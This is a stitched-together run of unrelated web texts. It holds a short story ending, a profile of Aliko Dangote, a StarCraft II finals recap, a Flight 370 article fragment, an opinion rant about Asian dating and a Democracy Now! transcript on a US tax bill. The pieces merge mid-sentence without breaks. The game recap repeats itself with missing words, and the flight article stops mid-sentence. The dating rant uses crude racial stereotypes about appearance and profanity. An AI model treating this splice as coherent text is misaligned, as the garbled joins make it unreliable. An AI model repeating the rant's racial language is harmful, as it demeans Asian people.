On the final day of Steve’s project, while he was celebrating it’s completion, he sensed a creature nearing him. As the creature got closer, Steve realized it was a shark! Steve swum for his life up to the surface and continued to the low water near the beach, where the shark couldn’t catch him. From that day and forward Steve swore, that he would never set foot in the deep, deep ocean again. The creatures of the sea had gotten upset with Steve and everything else daring to enter the ocean, because it now had been infested with something impure from the world above the surface. Now, deep, deep down on the bottom of the sea, Steve’s project only exists to rotten and remain untouched, reminding the creatures of the ocean about it’s hatred to the world above the surface.
If you want to join the team you can either write to us on Twitter or PM us on YouTube or PMC!A GRI Power Brokers feature on Nigeria’s Aliko Dangote. In a continent where few billionaires take risks venturing into manufacturing, Dangote, the continent’s richest man, has seized the mantle as Africa’s industrializer.
With a fortune estimated by Forbes to be $17.1 billion, ranking him the 51st in the world, Dangote could afford to play it safe. Instead the billionaire continues to take risks, betting on Africa’s future.
Born in 1957 into a Muslim family of successful merchants that traded in groundnuts, the leading export commodity for Nigeria before the prominence of oil, Dangote seemed pre-destined for a career in commodities. Starting his own trading business after acquiring a business degree from Egypt’s Al-Ahzar University in 1977, Dangote quickly diversified his interests across commodities that included rice, sugar, salt, flour and cement. It was the 1980s however that would arguably be his most formative years.
Calamitous 1980s
Post-independence Nigeria soon became dominated by the so-called politics of the Big Man, where politicians, military generals and tribal leaders spread across the disperse ethnic groups jockeyed for a stake in the most lucrative source of income – oil.
Yet despite the country rapidly urbanizing – and awash with vast sums of oil revenue – there was little capacity to produce even basic commodities such as flour and sugar. Dependent on importing these items, Nigeria quickly amassed an unsustainably high level of debt to GDP – from 1.9% in 1960 to 92.6% by 1987.
Source: Knoema, World Bank
When the current sitting President of Nigeria General Muhammadu Buhari had his first stint as president in 1983, courtesy of the country’s 5th military coup since independence, he faced the ominous task of staving off both political rivals and the international credit institutions. He lasted all but 20 months. Fiscal mismanagement, endemic corruption and collapse in oil revenues as a result of the OPEC crisis, pushed debt levels upwards of 400% of income by the late 1980s, forcing Nigeria over the fiscal cliff. Exceeding the World Bank’s guidelines of 30% total debt ratio, by 1986 Nigeria was undertaking a structural adjustment program to cut its overall debt exposure.
It was in this environment that Nigeria became infamous for financial mismanagement of epic proportions. From failed wheat import-substitution-industrialization program, spending vast sums on irrigation with little to show for it, to arguably the most infamous blunder, the mass over-importation of cement for a public housing scheme.
The latter, known as the “cement aramada,” resulted in 36 bulk carriers carrying in excess of 20Mt of cement, log-jammed in and around the Port of Lagos due to the ports 6Mt capacity. The fiasco resulted in ships sitting in port for upwards of 6 months, racking up hundreds of millions of dollars in demurrage fees. The cause of the blunder, however, was the over-issuing of import licenses by corrupt public officials.
From merchant to manufacturer
It was in this high risk environment that Dangote cut his teeth. After a study trip to Brazil in the mid-1990s, he shifted his focus down the value chain into agro-processing and manufacturing. After years spent importing Brazilian sugar, it was only natural that his first commissioned facility would be a sugar refinery. Coming online in 2001 and supported by his own 200,000-hectare sugar plantation, the refinery has expanded to become one of the largest refineries in the world, capable of refining 1.44Mt per year.
Buoyed by the newly elected support of President Olusegun Obasanjo in 1999 and his drive to protect infant industries through a range of protectionist measures, including high tariffs, legislating price drops and tax holidays for investors in manufacturing, Dangote soon followed in other commodities, acquiring flour mills and textile and food manufacturing facilities.
Yet it was cement that would eventually make him Africa’s richest man. Recognizing the immense extent of demand for cement in Nigeria, he acquired a struggling state owned cement plant in 2000 together with limestone quarries. By 2004, Dangote looked to expand his operations, undertaking to build one of the largest cement plants in world, Obajana, capable of 10Mt per annum.
During this period, however, Nigeria was again facing a financial crisis of historic proportions, having attained the dubious title of being, along with Iraq, the most indebted nation in the world – with total debt at $36 billion against total federal government revenue of $9 billion.
With domestic banks basically insolvent, Dangote’s capital expansion ambitions would depend on raising capital outside of Nigeria, cashing in much of his personal real-estate holdings and assets to the tune of $319 million. Together with a World Bank loan of $480 million, the ambitious Obajana plant was realized. A reprieve and debt cancellation agreement by the Paris Club followed for Nigeria in 2005, cutting the country’s total debt by $18 billion; with interest, this represented a 60% reduction in total.
“There is no right time to invest”
For Dangote, however, the commissioning of Obajana plant was far from smooth sailing. Experiencing significant delays and cost over-runs as result of the remoteness of the build, necessitating everything from constructing a gas power plant, gas pipe-lines, to 700 houses for his workers, pressed the Dangote Group to the hilt.
Spurred by the untapped potential in Africa, the Group has managed to grow from $3.3 billion market cap in 2008 to $17.3 billion in 2016, with interests spread across a range of agro-processing and manufacturing sectors, including flour, sugar, salt, cement, coal, steel, oil and gas, fertilizer, as well as specialized logistics services. Employing over 20,000 employees and accounting 25% of the Nigerian Stock Exchange, Dangote’s overall goal is to reach a market cap of $100 billion by 2020. His short term plans, meanwhile, include listing on the London Stock Exchange once governance criteria have been met.
With Africa’s rapidly urbanizing population said to increase from 1 billion to 2.5 billion by 2050, and recognizing the already unprecedented growth in shopping malls across Africa, cement and construction should continue to drive Dangote’s success. In 2015, for instance, the group saw revenue climb 26%, while profits surged 15% to $919 million. Cement production volumes grew by 35% to 19Mt, with production capacity increasing from 22Mt to 44Mt, an increase of 87% year on year.
Accounting for a whopping 60% of Nigeria’s burgeoning cement market, Dangote has expanded his operations across fourteen African countries to include, amongst others, Ghana, Kenya, Tanzania, South Africa and Ethiopia. He has also set his sights on Asia. By 2019, he says, the group can claim a 28% share of Africa’s total cement production capacity. This would make Dangote Cement the sixth largest producer in the world.
Dangote’s philosophy pivots on continual expansion and the plowing back of virtually every cent. Currently, the group has $16 billion in capital projects underway, including its flagship $14 billion refinery project, set to become the fifth largest crude oil, polymer and fertilizer complex, capable of producing 650 000 barrels per day. The refinery plugs an important gap in an oil rich country that has virtually no refining capacity or facilities, despite being Africa’s largest producer. This should also cover Nigeria’s demand for oil exports, which is roughly 450,000 barrels per day.
Looking ahead, moreover, it is hoped the refinery will play a key role in exporting refined products to the West African region, earning the country $6.5 billion in foreign exchange earnings per year. Yet the key test for the sustainability of Dangote’s strategy, however, is whether Sub-Saharan African countries, including Nigeria, will be able to diversify from the over reliant dependence on natural resources rents, driving recent consumer driven growth. If that happens, Dangote’s remarkable fortunes could soar even higher.
GRI Power Brokers features high-level individuals having a positive impact on political risk environments. Through interviews, in-depth analysis and insider profiles, GRI explores how power brokers are affecting the distribution of political or economic power, offering unique insight into those individuals that are shaping market trends in all corners of the world.Soulkey 4 - 3 Innovation - WCS KR Finals Recap Text by TeamLiquid ESPORTS
2013 GSL Season 2 Against all odds, Soulkey wins Code S by Waxangel
Hardly anyone gave Woongjin_Soulkey a chance headed into the finals of Code S. His opponent,, had racked up a 21 - 3 record against Zerg in HotS, the wins collected mostly against cream of the crop players including RorO, Symbol, and Life. Not even a week before the finals, Innovation had administered a savage beatdown on Soulkey in the Proleague, overwhelming him with the endless waves of marines, medivacs, and widow mines that were the hallmark of his style. With the fans, the experts, and the bookies all calling it in Innovation's favor—one had to think it was more marketing than truth when GomTV's Korean casters
Soulkey Soulkey <Star Station> INnoVation
Soulkey <Bel'Shir Vestige> INnoVation
Soulkey <Whirlwind> INnoVation
Soulkey <Atlas> INnoVation
Soulkey <Red City> INnoVation
Soulkey <Akilon Wastes> INnoVation
Soulkey <Daybreak> INnoVation
INnoVation
The first three games played out like most had expected, with Innovation destroying Soulkey. Within an hour, it looked like it was all but over for the Woongin Zerg. Only a handful of players had ever come back from a 0 - 2 deficit in the old Bo5 Brood War finals, and no one had ever come back from 0 - 3 in the GSL's best of sevens.
As it turns out, Soulkey is made of tougher stuff that anyone ever knew. Though it had been almost six years since came back from a 0 - 2 deficit and won Woongjin Stars their
Even though Soulkey and Innovation went into the final game tied, the score was the only thing that was even. Innovation had been driven into the same corner Soulkey had been in just an hour ago, but instead of showing Soulkey's steely resolve, he showed that he was shaken. After both players set up for a standard macro game, a fatal, suicide-medivac drop mistake swung the game irrevocably in Soulkey's favor. The Woongjin Zerg didn't overreact to the unexpected windfall; he just calmly using his advantage to pick Innovation apart and force the final GG.
After Soulkey kept his composure over the course of seven games, winning the championship was like opening a pressure release valve. At the end of a long journey, the nearly five year veteran achieved the goal all pro-gamers aspire to. Compared to the many stoic GSL champions of the past, Soulkey allowed his emotions to flow freely, turning on the waterworks and expressing his love for his teammates, his family, and everyone who had supported him.
On the other hand, Innovation was as stoic in defeat as he had been in victory. Already, he seemed to be looking ahead to redemption at the Season Finals. After coming down from the stage, Soulkey also started looking to the future. In the post match
Games Recap
Soulkey deals with one of life's harsh realities: Terrans bunker rush in finals. Soulkey deals with one of life's harsh realities: Terrans bunker rush in finals.
Since he had punished Soulkey with some old school cheese in game one, Innovation decided to show him one of Terran's new tricks in game two by opening with hellbat drops. However, this time Soulkey lived up to his reputation of being one of the most solid defenders in StarCraft, holding off the drops without any significant losses. On the back of a good economy, Soulkey also decided to play a distinctly HotS-ish game, going for a roach-hydra composition. While the composition seemed to catch Innovation off-guard at first, some over-aggressive attacks from Soulkey allowed Innovation to find his bearings again. Once Innovation got his endless-waves style of infantry attacks going, Soulkey was unable to keep up with the low mobility of roach-hydra and GG'd out as he crumbled across multiple fronts.
Soulkey feels the pressure after going down 0-3. Soulkey feels the pressure after going down 0-3.
Facing elimination, Soulkey decided to stick to the gameplan and went a second all-in. This time he pulled out a mid-game speed-roach + speed-bane timing in on Atlas. By successfully hiding his strategy until the last possible moment, Soulkey was finally able to catch a break, barreling down Innovation's front door with overwhelming force and recovering a point. Soulkey also won a few bonus points for sheer style, contaminating Innovation's factory to prevent the production of defensive widow mines.
With the third consecutive all-in from Soulkey, it started to look like it might be a series. Roach-bane was the key to success once more, except this time at a more 'normal' early timing before lair. Innovation's greedy triple orbital style was punished yet again, and he sustained massive damage before finally holding off the attack. Not wanting to give Innovation even a chance of recovering and playing a macro game, Soulkey followed up with an even bigger bust to make the series 2 - 3.
In order to cut off his opponent's momentum, Innovation returned to that most venerable strategy, the proxy two-barracks rush. As in game one, Soulkey instinctively sniffed out Innovation's intent and scouted the barracks. But unlike in game one, Soulkey decided to cancel his building hatchery on the low ground, instead of committing himself to a drones vs. marines defense. It could not yet be called a failure for Innovation, who had defeated RorO in the exact same situation by setting up a bunker containment below the Zerg ramp and playing the game out normally.
Innovation's failed cheese rush is punished by Soulkey. Innovation's failed cheese rush is punished by Soulkey.
Unfortunately for Innovation, Soulkey was no RorO, and had definitely studied the Samsung Zerg's loss. He played decisively, going for banelings off one base to bust through the containment outside his base, and immediately counter all-ined his opponent. By a slim margin, Innovation was unable to hold, and he was forced to surrender a third GG just as easily as he forced them from Soulkey in the beginning.
The oldest Terran weapon having failed him in game six, Innovation decided that new technology would be the key to Terran salvation as he went for hellbat drops in the final game. On the other hand, Soulkey deemed that baneling busts could only take him so far, and that Daybreak was the perfect ground to show that he could take on Innovation in a standard game. After deflecting the hellbat drops with some defensive roaches, he transitioned into muta-ling-bane for the first time in the series. Innovation obliged the invitation to a standard game, taking his third and setting up to begin his endless aggression.
Innovation's every nightmare for the next ten years. Innovation's every nightmare for the next ten years.
Was it nerves getting to Innovation, or was it just incredible foresight from Soulkey? It was hard to tell in the series' deciding moment. After using a viking to clear out overlords and confirm where Soulkey's mutalisks were, Innovation sent three medivacs on a bee line to Soulkey's main. There was just one important complication: the mutalisks that killed the probing viking were still there. Having already used afterburners earlier in the flight, Innovation was helpless as he watched three medivacs worth of troops get knocked from the skies.
After that, the game was just a formality for Soulkey. With a sudden gift of thirty supply, there was no way he was letting the game go. He gave Innovation a taste of his own medicine, using the mobility of his army to merciless pick apart an overstretched defense. Bit by bit, Innovation fell apart, until there was no option left but surrender.
Hardly anyone gavea chance headed into the finals of Code S. His opponent, STX_INnoVation, had racked up a 21 - 3 record against Zerg in HotS, the wins collected mostly against cream of the crop players including RorO, Symbol, and Life. Not even a week before the finals, Innovation had administered a savage beatdown on Soulkey in the Proleague, overwhelming him with the endless waves of marines, medivacs, and widow mines that were the hallmark of his style. With the fans, the experts, and the bookies all calling it in Innovation's favor—one had to think it was more marketing than truth when GomTV's Korean casters gave Soulkey the nod in the finals.The first three games played out like most had expected, with InnovationSoulkey. Within an hour, it looked like it was all but over for the Woongin Zerg. Only a handful of players had ever come back from a 0 - 2 deficit in the old Bo5 Brood War finals, and no one had ever come back from 0 - 3 in the GSL's best of sevens.As it turns out, Soulkey is made of tougher stuff that anyone ever knew. Though it had been almost six years since GGPlay came back from a 0 - 2 deficit and won Woongjin Stars their last major title, Soulkey was able to assume the poise of his great predecessor. While it would have been easy to submit to despair, Soulkey found his resolve as his teammates cheered him on. He lived up his Korean billing as the "iron wall," though more in terms of mental fortitude than actual gameplay. Going on the offensive, Soulkey hit back with consecutive all-in attacks to tie up the series at 3 - 3 before Innovation even knew what hit him.Even though Soulkey and Innovation went into the final game tied, the score was the only thing that was even. Innovation had been driven into the same corner Soulkey had been in just an hour ago, but instead of showing Soulkey's steely resolve, he showed that he was shaken. After both players set up for a standard macro game, a fatal, suicide-medivac drop mistake swung the game irrevocably in Soulkey's favor. The Woongjin Zerg didn't overreact to the unexpected windfall; he just calmly using his advantage to pick Innovation apart and force the final GG.After Soulkey kept his composure over the course of seven games, winning the championship was like opening a pressure release valve. At the end of a long journey, the nearly five year veteran achieved the goal all pro-gamers aspire to. Compared to the many stoic GSL champions of the past, Soulkey allowed his emotions to flow freely, turning on the waterworks and expressing his love for his teammates, his family, and everyone who had supported him.On the other hand, Innovation was as stoic in defeat as he had been in victory. Already, he seemed to be looking ahead to redemption at the Season Finals. After coming down from the stage, Soulkey also started looking to the future. In the post match press conference, winning the very first GSL-Proleague double crown seemed to be on his mind, as well as the impending season finals. The GSL, Proleague, and even the world? For the best player in StarCraft II, that's no dream.Innovation decided to send a message in the first game of the night, opening up with one of Terran's most classic weapons: the proxy-barracks bunker rush. Even though Soulkey expected something of the sort and sent out a scouting overlord to potential proxy locations, he was unable to stop Innovation's clinically executed attack. After a failed defense, Soulkey quickly conceded the first set.Since he had punished Soulkey with some old school cheese in game one, Innovation decided to show him one of Terran's new tricks in game two by opening with hellbat drops. However, this time Soulkey lived up to his reputation of being one of the most solid defenders in StarCraft, holding off the drops without any significant losses. On the back of a good economy, Soulkey also decided to play a distinctly HotS-ish game, going for a roach-hydra composition. While the composition seemed to catch Innovation off-guard at first, some over-aggressive attacks from Soulkey allowed Innovation to find his bearings again. Once Innovation got his endless-waves style of infantry attacks going, Soulkey was unable to keep up with the low mobility of roach-hydra and GG'd out as he crumbled across multiple fronts.Game three was when the Zerg all-ins began to roll in. Innovation had shown some distinct weaknesses to good all-in play during his semi-final series with Symbol, and it was not something Soulkey could leave unexploited. However, things did not go as well as Soulkey would have hoped the first time around, as his speedling-baneling bust on Whirlwind was expertly thwarted thanks to excellent hellion-SCV micro from Innovation and some poor baneling hits on his own behalf. Though Soulkey attempted a follow-up all-in with roaches and banelings, it was entirely a desperation maneuver as Innovation just rode his advantage to an easy 3 – 0.Facing elimination, Soulkey decided to stick to the gameplan and went a second all-in. This time he pulled out a mid-game speed-roach + speed-bane timing in on Atlas. By successfully hiding his strategy until the last possible moment, Soulkey was finally able to catch a break, barreling down Innovation's front door with overwhelming force and recovering a point. Soulkey also won a few bonus points for sheer style, contaminating Innovation's factory to prevent the production of defensive widow mines.With theconsecutive all-in from Soulkey, it started to look like it might be a series. Roach-bane was the key to success once more, except this time at a more 'normal' early timing before lair. Innovation's greedy triple orbital style was punished yet again, and he sustained massive damage before finally holding off the attack. Not wanting to give Innovation even a chance of recovering and playing a macro game, Soulkey followed up with an even bigger bust to make the series 2 - 3.In order to cut off his opponent's momentum, Innovation returned to that most venerable strategy, the proxy two-barracks rush. As in game one, Soulkey instinctively sniffed out Innovation's intent and scouted the barracks. But unlike in game one, Soulkey decided to cancel his building hatchery on the low ground, instead of committing himself to a drones vs. marines defense. It could not yet be called a failure for Innovation, who had defeated RorO in the exact same situation by setting up a bunker containment below the Zerg ramp and playing the game out normally.Unfortunately for Innovation, Soulkey was no RorO, and had definitely studied the Samsung Zerg's loss. He played decisively, going for banelings off one base to bust through the containment outside his base, and immediately counter all-ined his opponent. By a slim margin, Innovation was unable to hold, and he was forced to surrender a third GG just as easily as he forced them from Soulkey in the beginning.The oldest Terran weapon having failed him in game six, Innovation decided that new technology would be the key to Terran salvation as he went for hellbat drops in the final game. On the other hand, Soulkey deemed that baneling busts could only take him so far, and that Daybreak was the perfect ground to show that he could take on Innovation in a standard game. After deflecting the hellbat drops with some defensive roaches, he transitioned into muta-ling-bane for the first time in the series. Innovation obliged the invitation to a standard game, taking his third and setting up to begin his endless aggression.Was it nerves getting to Innovation, or was it just incredible foresight from Soulkey? It was hard to tell in the series' deciding moment. After using a viking to clear out overlords and confirm where Soulkey's mutalisks were, Innovation sent three medivacs on a bee line to Soulkey's main. There was just one important complication: the mutalisks that killed the probing viking wereHaving already used afterburners earlier in the flight, Innovation was helpless as he watched three medivacs worth of troops get knocked from the skies.After that, the game was just a formality for Soulkey. With a sudden gift of thirty supply, there was no way he was letting the game go. He gave Innovation a taste of his own medicine, using the mobility of his army to merciless pick apart an overstretched defense. Bit by bit, Innovation fell apart, until there was no option left but surrender.The failure to locate the missing Malaysia Airlines Flight 370 has revealed the risk of flying through ‘black holes’ where modern jetliners can – under rare circumstances – effectively disappear.
The jet operated by Malaysia Airlines with 239 people on board disappeared from radar less than an hour after takeoff from Kuala Lumpur on March 8 en route to Beijing and despite many days, has yet to be located.
Industry groups have for some years been looking at various options to ensure that while in flight, people on the ground know exactly where an aircraft is, how the aircraft is performing and in the event of an accident help investigators rescue survivors and track the wreckage.
Those options feature automatic regular updates of an aircraft’s location throughout its flight, the triggered relay of critical operational data when an aircraft senses it is about to crash and improvements to black box technology to enhance survivability and its ability to be found.
“the conclusion has been that the costs associated with real-time streaming of aircraft data are too expensive for airlines or air traffic control authorities”
“Sending continuous data for all flights would create a huge amount of data and might get very difficult to monitor and analyse,” admits Tony Tyler, director general of the International Air Transport Association, who says the airline industry body is planning to consult aircraft manufacturers on increasing the use of real-time data transmissions.
Real-Time
Following the 2009 Air France |
AN ASIAN MAN” An’s of the world, here is my reply:
You’re a racist, Jenny An. That’s right. A downright dirty hate speech angry pissed off racist, and I commend you for saying it. But what are you really?
While there is a proclamation of racism in the beginning of your “I’M AN ASIAN WOMAN AND I REFUSE TO EVER DATE AN ASIAN MAN” rant backed by numbers and statistics of interracial marriage, I got something to tell you sweetheart, and you aren’t going to like it. Here’s what you really are:
You aren’t special.
Sure, you like white meat. It’s a little dry, and there’s a lot more of it. That’s fine, perfectly OK, but what bothers most is your little “I’M AN ASIAN WOMAN AND I REFUSE TO EVER DATE AN ASIAN MAN” rant about Asian values, and while I can understand your angst (as I’ve gone through it as well, taught guys how to get over it as well etc.) and know that many Asians are feeling the cultural pull of GPA, Ivy League admission, deference to authority, being humble and hard work.
Instead, you just say “Fuck it all.” Again, this isn’t a new phenomenon. Asians all around America (and even countries like Korea, Thailand, Vietnam, China, and Japan) have been rejecting their own culture. Just look at the Ganguro Japanese culture with their dyed blonde hair and blue contact lenses for proof. Like I said earlier:
You aren’t special.
But oh! You go on about how Daniel Liu is hot, how you DO like the effeminate nerdy sort of deal, and more. Would you date him? No way!
That’s because he is ASIAN, and that’s a deal breaker for you. Frankly, I don’t think you’re a racist, even though you’ve proclaimed it to the internets. I don’t think you’re racist at all. Sure, you don’t want to date Asian men, and you “can” date white guys, but in the end, does it really matter?
Now I’ve turned TONS of women on to being a true blue fan of Asian men. Some of them never turn back to their white meat ways and continue to date many attractive well-kempt exotic Asian men, often times they’re my students who were once hateful and regretful of the color of their hair, darkness of their skin, or slant in their eyes.
Are these women that have been charmed and seduced by my students now racist too? Or is it more of just a preference? Some girls date exclusively Hispanic men. Others like black men only.
Do I date a lot of white women? Yes, I do, but I also date Latin and African American women as well as a few of our own Asian women. I don’t exclude by race, although I certainly have preferences. When I teach my students about dating, I don’t tell them to only date white women,. That’s not my goal.
Rather my goal is to humanize both Asian men and women to one another. To show that Asian men are as confident and masculine as other men and that yes, we find women of all races to be attractive and desireable. And so hopefully, more women of color, whether she’s white, black, or Latina, will open up themselves to dating us.
Wesley Yang took me out for drinks in NYC after the whole New York Magazine “Paper Tigers” article. That article opened up eyes, made people see what its like to be an Asian man, and gave the world a no-bullshit view of core Asian values. What was your response?
“Fuck filial piety. Fuck grade grubbing. Fuck Ivy League mania. Fuck deference to authority. Fuck humility and hard work. Fuck harmonious relations. Fuck sacrificing for the future. Fuck earnest, striving middle-class servility.”
Is it so much that you’re racist? Or is it that you’re just rejecting your cultural heritage? Let that soak in – “rejection of cultural heritage.” You don’t want to date Asian guys, completely fine, but what’s getting the bad rap here, Asian men, or Asian values?
With your liberal use of F-bombs in “I’M AN ASIAN WOMAN AND I REFUSE TO EVER DATE AN ASIAN MAN”, I don’t think you hate or have a dislike of Asian men at all, seeing you said Daniel Liu is hot. You just disown your Asian cultural heritage, and it’s OK.
To be frank, that’s pretty common among Asian communities. I know that my children are going to be raised like other American children, but with an understanding of their cultural Asian history, even if they do have the slanted eyes, black hair, and yellow skin. Like I said earlier:
You aren’t special.
Asians have been doing this to themselves for the longest time. It’s true. We are self racist, and in your own words, we still see ourselves as a minority, outsiders, and foreigners. Yes, the whole “model minority” factor makes me sick as well, as I know plenty of my Asian bad boys out there, donned in double extra large t-shirts, silly baseball caps, and shorts too long to be shorts, tipped with K-Swiss sneakers.
I get it. You don’t want to date one of your people, but that doesn’t make you racist. If “dating white men gets you accepted into American culture,” then maybe I should just date someone of a different color so I get accepted into that culture.
Is your way of thinking fucked up? You bet it is, and is there really any way to change it? A simple counter “I’M AN ASIAN WOMAN AND I REFUSE TO EVER DATE AN ASIAN MAN” article cannot.
In fact, I feel it’s rude to change you. I can’t make anyone un-racist like I can’t un-Asian myself. But maybe you ought to think to yourself, am I just running away from my cultural values? Isn’t that a source of insecurity? Maybe that’s a way to fix your “fucked up way of thinking.”
But you forget: being AMERICAN is about cultural diversity. Chinese food isn’t really Chinese food, cheeseburgers came from Germany, my cab driver is Jamaican, and the waitress at my favorite Korean restaurant is white. So how the heck does dating white men mean getting accepted into American society, when America is already a big fat melting pot of multiple cultures? If anything, dating a person of MULTIPLE races would be considered getting accepted into American culture, because low and behold, not all of Americans are white. Big surprise.
Yes, you are part of a trend that 37% of Asian brides married non-Asian grooms. Cool, and good for you for being part of the recent interracial marriage trend, but to go online and slather the name of Asian men in a title that says you absolutely refuse to date Asian men? Not cool.
I bet there’s tons of other Asian girls out there that feel similar, but keep it to themselves because having an argument on the internet is like yelling at a vegetable. I don’t know if you’ve gotten the point yet, but just to reiterate:
You aren’t special
Dating white guys doesn’t mean getting accepted into American culture
Get over yourself.This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: We begin today’s program with President Trump’s tax bill. Just before 2 a.m. on Saturday morning, Republicans passed a nearly 500-page bill with dramatic impacts on not only the U.S. tax code, but also healthcare, domestic spending, even oil and gas drilling in the Arctic. The plan would cut taxes by nearly one-and-a-half trillion dollars. Major corporations and the richest Americans, including President Trump and his own family, would reap the most dramatic benefits. The legislation includes slashing the corporate tax rate from 35 to 20 percent and giving further tax cuts to wealthy business owners. The Senate version would also dramatically cut the estate tax, while a House version of the plan, passed last month, would eliminate the estate tax entirely.
Significantly, the Senate bill would also repeal the Affordable Care Act’s individual mandate, which experts say would cause the cost of health insurance to skyrocket, and lead to millions of people losing their health insurance. A little-known provision would even open one of the world’s last pristine wildernesses—the Arctic National Wildlife Refuge—to oil and fracked gas drilling. According to a report in Public Citizen, more than half of all registered lobbyists in Washington, D.C., worked on the tax bill.
Overall, the bill is expected to add $1.4 trillion to federal budget deficits over the next decade. The New York Times reports this debt will be offset by cuts to Medicare, Social Security and other government programs that benefit the poor and middle class. Critics say these cuts could include ending access to chemotherapy and other cancer treatments.
The bill passed the Senate 51 to 49, with every Democrat voting against the bill and all Republicans voting for it except Tennessee Republican Senator Bob Corker. This is Vermont independent Senator Bernie Sanders.
SEN. BERNIE SANDERS: The legislation passed last night gives incredibly large tax breaks to the very, very wealthy. It raises taxes on millions of middle-class families. It leaves 13 million more Americans without health insurance. It raises health insurance premiums by 10 percent a year. And it raises the deficit by $1.4 trillion.
AMY GOODMAN: We’re joined now by Minnesota Democratic Congressmember Keith Ellison, the first Muslim member of Congress. Ellison is also the deputy chair of the Democratic National Committee, or DNC.
Congressman Ellison, welcome back to Democracy Now! Your response to this, well, in-the-dark-of-night passage of the tax bill, that will overhaul taxes in a way we haven’t seen in decades?
REP. KEITH ELLISON: Well, it’s really designed to reorder our representative democracy. What they will do with these massive tax breaks is they will buy each other up in more mergers, which will concentrate markets and make it much more difficult for small businesses and workers. They’ll also pay each other off and give each other more bonuses, which they will use to purchase political influence in Washington and state capitals all over the country. So, you’re talking about giving a lot of money to people who are already rich. They pretty much cannot use the money to spark consumer demand, because they’re already satiated from a financial standpoint, and will be raising taxes on many middle-class people and working-class people.
So this is really, I think, more about reordering our society, creating a hereditary aristocracy in the United States and really taking our country and leading it down a path where we will one day see a very tiny group of very, very, very rich elite people in an ocean of desperate people just trying to hang on and make it every single day—not too much different from countries that we see around the world, like Honduras, where I recently visited.
AMY GOODMAN: And we’re going to talk about Honduras in our next segment with you and Honduran activists, but I want to turn to President Trump speaking in New York City Saturday night after the Senate narrowly approved the tax overhaul.
PRESIDENT DONALD TRUMP: Out of 52 Republican senators, 51 voted, and we ended up doing it. And we didn’t need our great vice president to break the tie—Mike. We didn’t need Mike. We didn’t need anything. We voted. The Democrats left before the vote was even—somebody said “started,” somebody said “before it was over.” I don’t even care. But we got no Democrat help, and I think that’s going to cost them very big in the election, because, basically, they voted against tax cuts. And I don’t think, politically, it’s good to vote against tax cuts.
AMY GOODMAN: Congressman Ellison, can you respond?
REP. KEITH ELLISON: Well, I don’t think it’s good to vote for giving more money to people who don’t—certainly don’t need it. And even Trump himself stands to benefit dramatically from these tax cuts. One of the things they’re cutting is the alternative minimum tax. Last time we have tax returns for him was in 2005, where he paid about $31 million because of the alternative minimum tax. He won’t have to pay that, if this tax bill goes through. So, not only is he reordering our constitutional democracy, he is personally enriching himself—which is not new, because, of course, he’s done it ever since he swore an oath to become president of the United States. Emoluments Clause violations, all kinds of things, nepotism, you know, it’s just been awash in filling up the swamp. And so, you know, this is already the richest Cabinet we’ve ever seen. And apparently they’re not done yet, you know.
And again, it’s not just money to buy luxury goods. It’s money to reorder our constitutional democracy, which is why I am urging everybody to become the most effective grassroots activists you can. This is essential that we have a resurgence in democratic participation. And I don’t mean big-D Democrat, I mean small-D democrat. I mean getting involved in your neighborhood, your community. This is no time to say, “I’m not into politics.” This is a time to go headlong into the welfare of this nation.
AMY GOODMAN: Congressman Ellison, the Senate tax bill would roll back the estate tax on inherited wealth, as you mentioned, which currently applies to—
REP. KEITH ELLISON: Right.
AMY GOODMAN: —about 5,000 of the wealthiest U.S. families.
REP. KEITH ELLISON: Right.
AMY GOODMAN: Following the vote, Iowa Republican Senator Charles Grassley praised the move, telling The Des Moines Register, “I think not having the estate tax recognizes the people that are investing, as opposed to those that are just spending every darn penny they have, whether it’s on booze or women or movies.” Congressman Ellison?
REP. KEITH ELLISON: Well, you know, the elites always want to shame the poor—right?—and everyone else. I mean, the fact is, this economy is based on 70 percent of the people driving consumer demand. If people do not purchase goods and services, this economy will grind to recession. And that is why, if you are going to do a tax cut, it ought to really be aimed at low-income and middle-income people. That might actually spur demand. But the way they’ve done it is to just give, you know, more to people who already have everything. So, the economic impact of getting rid of the estate tax will not be greater investment or greater consumer demand. It will simply be more money for political influence, mergers and more bonuses.
In fact, let me just tell you, I mean, you know, these taxes will literally worsen the economy. They will make the economy more sclerotic, if you will, because, you know, it is really putting hands in the hands of working people that allows them to open new businesses, do more hiring and really—you know, really do more for the economy. You put money in the hands of people who don’t need it, all they’re going to do is just what I already outlined—more political influence.
And as mentioned before, Amy, you know, this economy already has the signs of plutocracy, already has the signs that it’s at a point where the richest people are simply trying to extract wealth from the working and middle classes for themselves. This tax bill just makes that all the worse.
And my last point on this is that, look, rich people already have a lot of money. There’s literally trillions of dollars in cash held by corporations, their stock valuations at an all-time high. They do not need a tax cut to do anything. They can invest now, if they wanted to. They don’t want to, because they can make more money just by mergers and stock buybacks and stuff like that. So, this is really just sort of a travesty.
AMY GOODMAN: I want to turn to a video about the tax plan posted on Twitter by Senator Jon Tester of Montana. The video went viral over the weekend, Tester tweeting a message with the video, saying, quote, “I was just handed a 479-page tax bill a few hours before the vote. One page literally has hand scribbled policy changes on it that can’t be read.”
REP. KEITH ELLISON: Right.
AMY GOODMAN: “This is Washington, D.C. at its worst. Montanans deserve so much better.”
SEN. JON TESTER: It’s the night where we’re going to be voting on the tax bill. I just got the tax bill 25 minutes ago. This was the tax bill. See how thick it is? This is what it looks like. Oh, no, let’s look at the bill. This is what it really looks like. I want you to take a look at this, folks. This is your government at work. Here’s the bill as it’s written. Here’s the modifications that are in it. I can read one word. It’s called “add this language.” Can you tell me what that word is? If you can, you got better eyes than me. This is unbelievable. We’re doing massive tax reform on an absolute incredible timeline. This is going to affect everybody in this country. It’s going to shift money from middle-class families to the rich. It’s amazing. And we’ve been given this 20 minutes ago, 25 minutes ago. And we’re supposed to vote on it in a couple hours.
AMY GOODMAN: That was Senator Jon Tester of Montana. Congressman Ellison, can you explain what now happens next? That’s the Senate.
REP. KEITH ELLISON: Right.
AMY GOODMAN: Your body of Congress is the House, of course. You have a slightly different tax plan. Explain: Is this a done deal? For example, drilling in the Arctic, given to Senator Murkowski of Alaska; the ending of the individual mandate under Obamacare—that’s in the Senate bill, not in the House bill.
REP. KEITH ELLISON: Right.
AMY GOODMAN: Explain what happens now.
